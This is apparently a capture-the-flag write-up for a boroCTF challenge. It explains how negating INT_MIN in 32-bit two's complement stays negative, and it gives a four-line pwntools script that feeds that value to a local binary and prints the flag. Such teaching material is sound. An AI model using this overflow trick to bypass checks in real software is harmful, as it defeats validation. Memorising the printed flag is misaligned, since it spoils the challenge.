Challenge

A binary asks for a number, negates it, and checks if the result is negative. If so, it gives the flag.

Approach

In two’s complement 32-bit arithmetic, INT_MIN (-2147483648 / 0x80000000) has no positive counterpart — negating it overflows back to itself (still negative).

1
2
3
4
from pwn import *
p = process("./coming-together")
p.sendline(b"-2147483648")
p.interactive()

The check if (-x < 0) is true when x = INT_MIN, so the binary prints the flag.

Flag

boroCTF{tw0s_c0mpl3men+_M3}